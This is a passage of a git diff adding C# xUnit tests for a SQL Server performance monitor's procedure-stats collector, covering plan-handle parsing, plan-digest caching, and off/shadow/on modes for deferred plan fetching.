+        Assert.Equal(-1, ProcedureStatsCollector.ModuleStatementEndOffset);
+
+        var sql = ProcedureStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true, defer: true), s_handles).Text;
+
+        Assert.Contains("(0, 0x050005AB, 0, -1)", sql, StringComparison.Ordinal);
+        Assert.Contains("(1, 0x05000F01EE, 0, -1)", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FetchQuery_IsQueryStatsFetchQuery_ForTheSameKeys()
+    {
+        var ctx = MakeContext(capture: true, defer: true);
+        var keys = new[]
+        {
+            new QueryStatsCollector.PlanFetchKey(s_handles[0], 0, -1),
+            new QueryStatsCollector.PlanFetchKey(s_handles[1], 0, -1),
+        };
+
+        Assert.Equal(
+            QueryStatsCollector.BuildPlanFetchQuery(ctx, keys).Text,
+            ProcedureStatsCollector.BuildPlanFetchQuery(ctx, s_handles).Text);
+    }
+
+    [Fact]
+    public void FetchQuery_Throws_OnEmpty_OrCaptureOff_OrABadHandle()
+    {
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), Array.Empty<byte[]>()));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanFetchQuery(MakeContext(capture: false), s_handles));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), new[] { new byte[65] }));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanFetchQuery(MakeContext(capture: true), new[] { Array.Empty<byte>() }));
+    }
+
+    [Theory]
+    [InlineData("0x05", true, 1)]
+    [InlineData("0x050005AB", true, 4)]
+    [InlineData("0X0500", true, 2)]
+    public void TryParsePlanHandle_AcceptsShippedHandleText(string hex, bool expected, int length)
+    {
+        Assert.Equal(expected, ProcedureStatsCollector.TryParsePlanHandle(hex, out var bytes));
+        Assert.Equal(length, bytes.Length);
+    }
+
+    [Fact]
+    public void TryParsePlanHandle_AcceptsExactly64Bytes_AndRejectsMore()
+    {
+        Assert.True(ProcedureStatsCollector.TryParsePlanHandle("0x" + new string('A', 128), out var ok));
+        Assert.Equal(64, ok.Length);
+        Assert.False(ProcedureStatsCollector.TryParsePlanHandle("0x" + new string('A', 130), out _));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("0x")]
+    [InlineData("0x0")]
+    [InlineData("0x050")]
+    [InlineData("050005AB")]
+    [InlineData("0x05ZZ")]
+    public void TryParsePlanHandle_RejectsEverythingElse(string? hex)
+    {
+        Assert.False(ProcedureStatsCollector.TryParsePlanHandle(hex, out var bytes));
+        Assert.Empty(bytes);
+    }
+
+    [Fact]
+    public async Task ReadAsync_ReadsOrdinals0To26Only_NoPlanAndNoIdentity()
+    {
+        var row27 = await ReadOneRowAsync(MakeContext(capture: true, identity: true));
+        Assert.Null(row27.QueryPlanXml);
+        Assert.Null(row27.QueryPlanXmlBytes);
+        Assert.Null(row27.PlanStatementCount);
+        Assert.Null(row27.PlanGenerationSum);
+        Assert.False(row27.PlanPhaseSkipped);
+    }
+
+    private static async Task<ProcedureStatsCollector.Row> ReadOneRowAsync(CollectorContext context)
+    {
+        using var table = new DataTable();
+        for (var i = 0; i < 27; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), ColumnType(i));
+        }
+
+        var values = new object[table.Columns.Count];
+        for (var i = 0; i < 27; i++)
+        {
+            values[i] = ColumnType(i) == typeof(long) && (i is 6 or 7 or 8 or 9 or 10 or 11 or 22 or 23 or 24)
+                ? 1L
+                : DBNull.Value;
+        }
+
+        table.Rows.Add(values);
+
+        await using var reader = table.CreateDataReader();
+        var rows = await ProcedureStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        return Assert.Single(rows);
+    }
+
+    private static Type ColumnType(int ordinal) => ordinal switch
+    {
+        4 or 5 => typeof(DateTime),
+        0 or 1 or 2 or 3 or 25 or 26 => typeof(string),
+        _ => typeof(long),
+    };
+
+    private static ProcedureStatsCollector.Row SampleRow() => default(ProcedureStatsCollector.Row) with
+    {
+        DatabaseName = "db",
+        SchemaName = "dbo",
+        ObjectName = "p",
+        ObjectType = "P",
+        PlanHandle = "0x0500",
+        QueryPlanXml = "<plan/>",
+    };
+
+    /// <summary>Wiring: WritePayload goes through PayloadOrDigest, so a digest-aware writer sees the row's digest.</summary>
+    [Fact]
+    public void WritePayload_RoutesThePlanColumnThroughPayloadOrDigest_WithTheRowsDigest()
+    {
+        var writer = new RecordingWriter();
+        var row = SampleRow() with { KnownPlanDigest = "ABCDEF" };
+
+        ProcedureStatsCollector.Instance.WritePayload(row, writer, MakeContext(capture: true));
+
+        Assert.Equal(("<plan/>", "ABCDEF"), Assert.Single(writer.PayloadOrDigestCalls));
+    }
+
+    /// <summary>
+    /// A deferred-fetch host sets QueryPlanXmlBytes from its cache for a known identity. A row with a known
+    /// digest, no content and an over-cap size writes the digest through PayloadOrDigest, writes the bytes
+    /// column, and still yields an oversized-plan observation, so the backlog's last_seen keeps refreshing.
+    /// </summary>
+    [Fact]
+    public void KnownDigestWithOverCapBytes_WritesDigestAndBytes_AndYieldsAnOversizedObservation()
+    {
+        var writer = new RecordingWriter();
+        var overCap = QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + 1L;
+        var row = SampleRow() with
+        {
+            QueryPlanXml = null,
+            SqlHandle = "0x0300",
+            KnownPlanDigest = "ABCDEF",
+            QueryPlanXmlBytes = overCap,
+        };
+
+        ProcedureStatsCollector.Instance.WritePayload(row, writer, MakeContext(capture: true));
+        var observation = ProcedureStatsCollector.Instance.DescribeOversizedPlan(row);
+
+        Assert.Equal(((string?)null, "ABCDEF"), Assert.Single(writer.PayloadOrDigestCalls));
+        Assert.Contains(overCap, writer.NullableLongs);
+        Assert.NotNull(observation);
+        Assert.Equal(overCap, observation!.Value.ObservedBytes);
+    }
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private sealed class RecordingWriter : ICollectorRowWriter
+    {
+        public List<(string? Content, string? Digest)> PayloadOrDigestCalls { get; } = new();
+        public List<long?> NullableLongs { get; } = new();
+        public ICollectorRowWriter Value(string? value) => this;
+        public ICollectorRowWriter Value(long value) => this;
+        public ICollectorRowWriter Value(long? value) { NullableLongs.Add(value); return this; }
+        public ICollectorRowWriter Value(int value) => this;
+        public ICollectorRowWriter Value(int? value) => this;
+        public ICollectorRowWriter Value(short value) => this;
+        public ICollectorRowWriter Value(short? value) => this;
+        public ICollectorRowWriter Value(double value) => this;
+        public ICollectorRowWriter Value(double? value) => this;
+        public ICollectorRowWriter Value(decimal value) => this;
+        public ICollectorRowWriter Value(decimal? value) => this;
+        public ICollectorRowWriter Value(bool value) => this;
+        public ICollectorRowWriter Value(bool? value) => this;
+        public ICollectorRowWriter Value(DateTime value) => this;
+        public ICollectorRowWriter Value(DateTime? value) => this;
+        public ICollectorRowWriter NullValue() => this;
+
+        ICollectorRowWriter ICollectorRowWriter.PayloadOrDigest(string? content, string? knownDigest)
+        {
+            PayloadOrDigestCalls.Add((content, knownDigest));
+            return this;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsPlanReuseTests.cs b/Darling/Darling.Tests/ProcedureStatsPlanReuseTests.cs
new file mode 100644
index 0000000000..a4ea8e45ae
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsPlanReuseTests.cs
@@ -0,0 +1,1323 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158: the host's side of the <c>procedure_stats</c> deferred plan fetch, without a monitored server: the
+/// identity key, the knob, the shadow comparison, the on-mode reuse pass (cache, cap, age limit, cadence gate,
+/// oversized plans) and the collector's identity-column shapes. The end-to-end behaviour against a real server is
+/// in <see cref="ProcedureStatsDeferredPlanFetchLiveTests"/>.
+/// </summary>
+public sealed class ProcedureStatsPlanReuseTests
+{
+    private static readonly DateTime s_now = new(2026, 10, 5, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime s_cached = new(2026, 10, 5, 8, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime s_compile = new(2026, 10, 5, 9, 0, 0, DateTimeKind.Utc);
+
+    private static ProcedureStatsCollector.Row RowFor(
+        int handle, string? plan = null, long? bytes = null, long count = 3, long generation = 7,
+        DateTime? cached = null, DateTime? compile = null, string db = "db1") =>
+        default(ProcedureStatsCollector.Row) with
+        {
+            DatabaseName = db,
+            SchemaName = "dbo",
+            ObjectName = "p" + handle.ToString(CultureInfo.InvariantCulture),
+            ObjectType = "P",
+            CachedTime = cached ?? s_cached,
+            SqlHandle = "0x03" + handle.ToString("X2", CultureInfo.InvariantCulture),
+            PlanHandle = "0x05" + handle.ToString("X2", CultureInfo.InvariantCulture),
+            QueryPlanXml = plan,
+            QueryPlanXmlBytes = bytes ?? plan?.Length,
+            PlanStatementCount = count,
+            PlanLastStatementCompile = compile ?? s_compile,
+            PlanGenerationSum = generation,
+        };
+
+    private static PlanDigestCache<ProcedureStatsPlanKey> ConfirmedCache(
+        IEnumerable<ProcedureStatsCollector.Row> rows, long ordinal = 1)
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var keys = new List<ProcedureStatsPlanKey>();
+        foreach (var row in rows)
+        {
+            var key = ProcedureStatsPlanKey.TryCreate(1, row)!.Value;
+            cache.AddPending(key, row.QueryPlanXml is null ? null : ProcedureStatsPlanReuse.DigestOf(row.QueryPlanXml), row.QueryPlanXmlBytes, s_now, ordinal);
+            keys.Add(key);
+        }
+
+        cache.ConfirmPending(keys, s_now);
+        return cache;
+    }
+
+    private static ProcedureStatsPlanReuse.PlanFetch FetchOf(
+        Dictionary<string, (string? Plan, long? Bytes)> plansByHandleHex, List<int>? calls = null) =>
+        (handles, _) =>
+        {
+            calls?.Add(handles.Count);
+            var result = new Dictionary<int, (string? PlanXml, long? Bytes)>();
+            for (var i = 0; i < handles.Count; i++)
+            {
+                if (plansByHandleHex.TryGetValue("0x" + Convert.ToHexString(handles[i]), out var found))
+                {
+                    result[i] = found;
+                }
+            }
+
+            return Task.FromResult(result);
+        };
+
+    // ---- the key -------------------------------------------------------------------------------
+
+    [Fact]
+    public void TheKey_IsBuiltFromAFullyFingerprintedRow_AndEqualRowsMakeEqualKeys()
+    {
+        var a = ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>"));
+        var b = ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<other/>"));
+        Assert.NotNull(a);
+        Assert.Equal(a, b); /* the plan text is not part of the identity */
+        Assert.Equal(a!.Value.GetHashCode(), b!.Value.GetHashCode());
+    }
+
+    public static IEnumerable<object[]> OneFieldDiffers() => new[]
+    {
+        new object[] { "server", 2, RowFor(1, "<a/>") },
+        new object[] { "handle", 1, RowFor(2, "<a/>") },
+        new object[] { "database", 1, RowFor(1, "<a/>", db: "db2") },
+        new object[] { "cached_time", 1, RowFor(1, "<a/>", cached: s_cached.AddMinutes(1)) },
+        new object[] { "statement_count", 1, RowFor(1, "<a/>", count: 4) },
+        new object[] { "last_compile", 1, RowFor(1, "<a/>", compile: s_compile.AddSeconds(1)) },
+        new object[] { "generation_sum", 1, RowFor(1, "<a/>", generation: 8) },
+    };
+
+    [Theory]
+    [MemberData(nameof(OneFieldDiffers))]
+    public void EachIdentityField_ThatDiffers_IsAMiss(string field, int serverId, ProcedureStatsCollector.Row other)
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, "<a/>") });
+        var key = ProcedureStatsPlanKey.TryCreate(serverId, other)!.Value;
+
+        Assert.False(cache.TryGet(key, s_now, out _), field + " must change the identity");
+    }
+
+    [Fact]
+    public void ACountOfZero_OrNoFingerprint_OrABadHandle_HasNoKey()
+    {
+        Assert.Null(ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>", count: 0)));
+        Assert.Null(ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>") with { PlanStatementCount = null }));
+        Assert.Null(ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>") with { PlanHandle = "0x05Z" }));
+        Assert.Null(ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>") with { PlanHandle = null }));
+    }
+
+    [Fact]
+    public void TheKeyText_NamesTheHandleAndTheFingerprint_AndNothingElse()
+    {
+        var text = ProcedureStatsPlanKey.TryCreate(1, RowFor(1, "<a/>"))!.Value.ToString();
+
+        Assert.Contains("plan_handle 0x0501", text, StringComparison.Ordinal);
+        Assert.Contains("statements 3", text, StringComparison.Ordinal);
+        Assert.Contains("generation_sum 7", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("db1", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("p1", text, StringComparison.Ordinal);
+    }
+
+    // ---- the knob ------------------------------------------------------------------------------
+
+    [Theory]
+    [InlineData(null, true, ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("", true, ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("off", true, ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("shadow", true, ProcedureStatsPlanFetchMode.Shadow)]
+    [InlineData(" Shadow ", true, ProcedureStatsPlanFetchMode.Shadow)]
+    [InlineData("ON", true, ProcedureStatsPlanFetchMode.On)]
+    [InlineData("true", false, ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("yes", false, ProcedureStatsPlanFetchMode.Off)]
+    public void TheKnobParses_OffShadowOn_AndAnythingElseIsOff(string? value, bool recognized, ProcedureStatsPlanFetchMode expected)
+    {
+        Assert.Equal(recognized, ProcedureStatsPlanFetchModes.TryParse(value, out var mode));
+        Assert.Equal(expected, mode);
+    }
+
+    [Fact]
+    public void TheShippedKnobValue_IsOn()
+    {
+        Assert.Equal("on", new DarlingConfig().ProcedureStatsDeferredPlanFetch);
+        Assert.Equal("on", ProcedureStatsPlanFetchModes.DefaultValue);
+    }
+
+    private static (DarlingCollectorRunner Runner, CapturingTestLogger Log) RunnerWith(string? knob, bool capturePlans = true)
+    {
+        var log = new CapturingTestLogger();
+        var runner = new DarlingCollectorRunner(
+            NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=x;Password=x;Database=x"), new CollectorDeltaCalculator(), log,
+            capturePlans: () => capturePlans, procedureStatsDeferredPlanFetch: () => knob);
+        return (runner, log);
+    }
+
+    [Theory]
+    [InlineData("off", ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("shadow", ProcedureStatsPlanFetchMode.Shadow)]
+    [InlineData("on", ProcedureStatsPlanFetchMode.On)]
+    public void TheRunner_ReadsTheKnob_ForProcedureStatsOnly(string knob, ProcedureStatsPlanFetchMode expected)
+    {
+        var (runner, _) = RunnerWith(knob);
+        var target = new CollectorTargetInfo();
+
+        Assert.Equal(expected, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", target));
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("query_stats", target));
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("query_store", target));
+    }
+
+    [Fact]
+    public void ARunnerBuiltWithoutTheKnob_DefersTheFetch_ExceptOnAzureSqlDatabaseOrWithoutPlanCapture()
+    {
+        /* #5158: the deferred fetch is on unless the file says otherwise (3.10), and the guards still win. */
+        var runner = new DarlingCollectorRunner(
+            NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=x;Password=x;Database=x"), new CollectorDeltaCalculator(), null,
+            capturePlans: () => true);
+
+        Assert.Equal(ProcedureStatsPlanFetchMode.On, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", new CollectorTargetInfo()));
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", new CollectorTargetInfo { IsAzureSqlDb = true }));
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, RunnerWith("on", capturePlans: false).Runner.ProcedureStatsPlanFetchModeFor("procedure_stats", new CollectorTargetInfo()));
+    }
+
+    [Theory]
+    [InlineData("shadow")]
+    [InlineData("on")]
+    public void AzureSqlDatabase_IsForcedOff_WhateverTheKnobSays(string knob)
+    {
+        var (runner, _) = RunnerWith(knob);
+
+        Assert.Equal(
+            ProcedureStatsPlanFetchMode.Off,
+            runner.ProcedureStatsPlanFetchModeFor("procedure_stats", new CollectorTargetInfo { IsAzureSqlDb = true }));
+        Assert.False(runner.ShouldDeferPlanFetchFor("procedure_stats", true, new CollectorTargetInfo { IsAzureSqlDb = true }));
+    }
+
+    [Fact]
+    public void WithPlanCaptureOff_TheKnobMeansNothing()
+    {
+        var (runner, _) = RunnerWith("on", capturePlans: false);
+
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", new CollectorTargetInfo()));
+    }
+
+    [Fact]
+    public void AnUnknownKnobValue_WarnsOnce_AndMeansOff()
+    {
+        var (runner, log) = RunnerWith("maybe");
+        var target = new CollectorTargetInfo();
+
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", target));
+        Assert.Equal(ProcedureStatsPlanFetchMode.Off, runner.ProcedureStatsPlanFetchModeFor("procedure_stats", target));
+
+        Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("maybe", log.Joined, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("off", true, false)]
+    [InlineData("shadow", true, false)]   /* shadow renders inline: it never defers the fetch */
+    [InlineData("on", true, true)]
+    [InlineData("on", false, false)]      /* a gated cycle captures nothing, so nothing is deferred */
+    public void OnlyOnMode_DefersTheFetch_OnACaptureCycle(string knob, bool capture, bool expected)
+    {
+        var (runner, _) = RunnerWith(knob);
+
+        Assert.Equal(expected, runner.ShouldDeferPlanFetchFor("procedure_stats", capture, new CollectorTargetInfo()));
+    }
+
+    // ---- one mode per run ----------------------------------------------------------------------
+
+    /// <summary>
+    /// A runner whose knob and capture setting can be flipped after the run has been stamped, as the store's live reload
+    /// of the capture setting can do between the stamp and the apply.
+    /// </summary>
+    private sealed class FlippableRunner
+    {
+        public string? Knob { get; set; }
+        public bool CapturePlans { get; set; } = true;
+        public DarlingCollectorRunner Runner { get; }
+        public CapturingTestLogger Log { get; } = new();
+
+        public FlippableRunner(string? knob)
+        {
+            Knob = knob;
+            Runner = new DarlingCollectorRunner(
+                NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=x;Password=x;Database=x"), new CollectorDeltaCalculator(), Log,
+                capturePlans: () => CapturePlans, procedureStatsDeferredPlanFetch: () => Knob);
+        }
+    }
+
+    private static ServerRuntime ServerFor() => new()
+    {
+        Config = new MonitoredServer { Name = "mode-test", Host = "mode-test" },
+        ConnectionString = "Server=mode-test;Initial Catalog=master",
+        Target = new CollectorTargetInfo(),
+        StorageName = "mode-test",
+        ServerId = 42,
+    };
+
+    private static CollectorContext StampedContext(DarlingCollectorRunner runner, bool capture)
+    {
+        var flags = runner.StampPlanFetchFlags("procedure_stats", capture, new CollectorTargetInfo());
+        return new CollectorContext
+        {
+            ServerId = 42,
+            ServerName = "mode-test",
+            CollectionTime = s_now,
+            Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo(),
+            CapturePlanXml = capture,
+            DeferPlanXmlFetch = flags.DeferPlanXmlFetch,
+            PlanIdentityColumns = flags.PlanIdentityColumns,
+        };
+    }
+
+    private static bool Emitted(CollectorContext context, string label) => context.Measurements.Any(m => m.Label == label);
+
+    [Theory]
+    [InlineData("off", true, ProcedureStatsPlanFetchMode.Off)]
+    [InlineData("shadow", true, ProcedureStatsPlanFetchMode.Shadow)]
+    [InlineData("shadow", false, ProcedureStatsPlanFetchMode.Off)]  /* a gated shadow cycle is the off query */
+    [InlineData("on", true, ProcedureStatsPlanFetchMode.On)]
+    [InlineData("on", false, ProcedureStatsPlanFetchMode.On)]       /* a gated on cycle still sends identity columns */
+    public void TheStampedContext_NamesTheModeTheRunWasStampedWith(string knob, bool capture, ProcedureStatsPlanFetchMode expected)
+    {
+        var flipper = new FlippableRunner(knob);
+        var context = StampedContext(flipper.Runner, capture);
+
+        Assert.Equal(expected, ProcedureStatsPlanFetchModes.OfRun(context));
+
+        /* Reading it back never asks the knob or the capture setting again. */
+        flipper.Knob = knob == "on" ? "off" : "on";
+        flipper.CapturePlans = false;
+        Assert.Equal(expected, ProcedureStatsPlanFetchModes.OfRun(context));
+    }
+
+    [Fact]
+    public async Task TheApply_FollowsTheStampedShadowMode_WhateverTheKnobAndCaptureSettingBecomeAfterward()
+    {
+        var flipper = new FlippableRunner("shadow");
+        var context = StampedContext(flipper.Runner, capture: true);
+        Assert.True(context.PlanIdentityColumns);
+        Assert.False(context.DeferPlanXmlFetch);
+
+        /* The store reloads the capture setting between the stamp and the apply, and the knob provider could answer
+           differently on a second read. Neither may change what this run does with rows that already carry plans. */
+        flipper.Knob = "on";
+        flipper.CapturePlans = false;
+
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, "<plan one/>"), RowFor(2, "<plan two/>") };
+        var before = rows.ToList();
+
+        var pending = await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), context, rows, ProcedureStatsPlanFetchModes.OfRun(context), CancellationToken.None);
+
+        Assert.Equal(before, rows);                                    /* shadow writes nothing different */
+        Assert.True(Emitted(context, "deferred_would_hit"));            /* and counts as shadow */
+        Assert.False(Emitted(context, "deferred_hit"));
+        Assert.Equal(2, pending.Count);
+        Assert.Equal(0, flipper.Log.CountAtLevel(LogLevel.Warning));    /* no fetch was attempted on a reader still open */
+    }
+
+    [Fact]
+    public async Task TheApply_FollowsTheStampedOnMode_WhateverTheKnobBecomesAfterward()
+    {
+        var flipper = new FlippableRunner("on");
+        var context = StampedContext(flipper.Runner, capture: false);   /* a gated cycle: nothing renders, so no second query is needed */
+        Assert.True(context.PlanIdentityColumns);
+
+        flipper.Knob = "shadow";
+        flipper.CapturePlans = true;
+
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1), RowFor(2) };
+
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), context, rows, ProcedureStatsPlanFetchModes.OfRun(context), CancellationToken.None);
+
+        Assert.True(Emitted(context, "deferred_hit"));
+        Assert.False(Emitted(context, "deferred_would_hit"));
+        Assert.Equal(2, context.Measurements.First(m => m.Label == "deferred_miss").Value);
+        Assert.All(rows, row => Assert.Null(row.QueryPlanXml));
+    }
+
+    [Fact]
+    public async Task ASwitchFromShadowToOn_NeverAnswersFromAnEntryTheShadowPassCached()
+    {
+        /* #5367 review, A-L1: a shadow pass digests the plans its rows carry inline, and that can be the whole-plan
+           marker. After the knob flips to on, a hit on that entry would give the row the marker's digest and the row
+           would store the marker until the entry expired. A switch clears the cache. */
+        var flipper = new FlippableRunner("shadow");
+        var shadowContext = StampedContext(flipper.Runner, capture: true);
+        var shadowRows = new List<ProcedureStatsCollector.Row> { RowFor(1, PerformanceMonitor.Common.SensitiveStatements.PlaceholderText) };
+
+        var pending = await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), shadowContext, shadowRows, ProcedureStatsPlanFetchModes.OfRun(shadowContext), CancellationToken.None);
+        var cache = flipper.Runner.ProcedureStatsPlanCacheForTests(42)!;
+        cache.ConfirmPending(pending, DateTime.UtcNow);
+        Assert.Equal(1, cache.Count);
+
+        flipper.Knob = "on";
+        var onContext = StampedContext(flipper.Runner, capture: false);   /* gated: nothing renders, so no second query */
+        var onRows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), onContext, onRows, ProcedureStatsPlanFetchModes.OfRun(onContext), CancellationToken.None);
+
+        Assert.Null(onRows[0].KnownPlanDigest);
+        Assert.Equal(0, onContext.Measurements.First(m => m.Label == "deferred_hit").Value);
+        Assert.Equal(1, onContext.Measurements.First(m => m.Label == "deferred_miss").Value);
+    }
+
+    [Fact]
+    public async Task TwoRunsInTheSameMode_StillShareTheCache()
+    {
+        /* The switch rule must not turn the cache off: two on runs in a row hit what the first one confirmed. */
+        var flipper = new FlippableRunner("on");
+        var first = StampedContext(flipper.Runner, capture: false);
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), first, new List<ProcedureStatsCollector.Row> { RowFor(1) },
+            ProcedureStatsPlanFetchModes.OfRun(first), CancellationToken.None);
+        var cache = flipper.Runner.ProcedureStatsPlanCacheForTests(42)!;
+        var key = ProcedureStatsPlanKey.TryCreate(42, RowFor(1))!.Value;
+        cache.AddPending(key, "ABCD", 4, DateTime.UtcNow, 0);
+        cache.ConfirmPending(new[] { key }, DateTime.UtcNow);
+
+        var second = StampedContext(flipper.Runner, capture: false);
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+        await flipper.Runner.ApplyProcedureStatsPlanReuseAsync(
+            null!, null!, ServerFor(), second, rows, ProcedureStatsPlanFetchModes.OfRun(second), CancellationToken.None);
+
+        Assert.Equal("ABCD", rows[0].KnownPlanDigest);
+        Assert.Equal(1, second.Measurements.First(m => m.Label == "deferred_hit").Value);
+    }
+
+    [Fact]
+    public void TheStampSeam_CountsTheFetchTimeBesideTheRenderedPlans()
+    {
+        var context = StampedContext(new FlippableRunner("on").Runner, capture: true);
+
+        DarlingCollectorRunner.StampPlanFetch(context, 3, 1200, 17);
+
+        Assert.Equal(3, context.Measurements.First(m => m.Label == "plans_rendered").Value);
+        Assert.Equal(1200, context.Measurements.First(m => m.Label == "plans_rendered_bytes").Value);
+        Assert.Equal(17, context.Measurements.First(m => m.Label == "plan_fetch_ms").Value);
+    }
+
+    [Fact]
+    public void TheProcedureStatsCacheAge_IsItsOwnConstant_WithTheSameValueAsTheQueryStatsOne()
+    {
+        Assert.Equal(DarlingCollectorRunner.QueryStatsPlanCacheMaxAge, DarlingCollectorRunner.ProcedureStatsPlanCacheMaxAge);
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs")
+            .ReplaceLineEndings("\n");
+        var apply = source[source.IndexOf("internal async Task<List<ProcedureStatsPlanKey>> ApplyProcedureStatsPlanReuseAsync", StringComparison.Ordinal)..];
+        apply = apply[..apply.IndexOf("return outcome.Pending;", StringComparison.Ordinal)];
+        Assert.Contains("ProcedureStatsPlanCacheMaxAge", apply, StringComparison.Ordinal);
+        Assert.DoesNotContain("QueryStatsPlanCacheMaxAge", apply, StringComparison.Ordinal);
+    }
+
+    // ---- shadow --------------------------------------------------------------------------------
+
+    [Fact]
+    public void Shadow_OnAnUnchangedModule_CountsAWouldHit_AndNoFalseHit()
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, "<plan one/>") });
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, "<plan one/>") };
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, (_, _) => Assert.Fail("no false hit expected"));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(0, outcome.FalseHit);
+        Assert.Equal(0, outcome.Miss);
+        Assert.Equal(1, outcome.Rendered);
+    }
+
+    [Fact]
+    public void Shadow_WhenTheCachedPlanDiffersFromTheRender_CountsAFalseHit_AndReportsTheKey()
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, "<stale plan/>") });
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1, "<current plan/>") };
+        var reported = new List<ProcedureStatsPlanKey>();
+
+        var outcome = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 2, s_now, (k, _) => reported.Add(k));
+
+        Assert.Equal(1, outcome.WouldHit);
+        Assert.Equal(1, outcome.FalseHit);
+        Assert.Equal(ProcedureStatsPlanKey.TryCreate(1, rows[0])!.Value, Assert.Single(reported));
+
+        /* shadow warms the cache from the inline render: once it is confirmed, the same render is a true hit */
+        cache.ConfirmPending(outcome.Pending, s_now);
+        var again = ProcedureStatsPlanReuse.ApplyShadow(1, cache, rows, 3, s_now, (_, _) => Assert.Fail("healed"));
+        Assert.Equal(1, again.WouldHit);
+        Assert.Equal(0, again.FalseHit);
+    }
+
+    /// <summary>A module plan the way the engine renders it: one StmtSimple per entry in <paramref name="planHashes"/> (null: none), and the grant fields.</summary>
+    private static string PlanWithGrant(string desiredMemory, string fractionInput, params string?[] planHashes)
+    {
+        var statements = string.Concat(planHashes.Select((hash, i) =>
+            "<StmtSimple StatementId=\"" + (i + 1).ToString(CultureInfo.InvariantCulture) + "\""
+            + (hash is null ? string.Empty : " QueryPlanHash=\"" + hash + "\"") + ">"
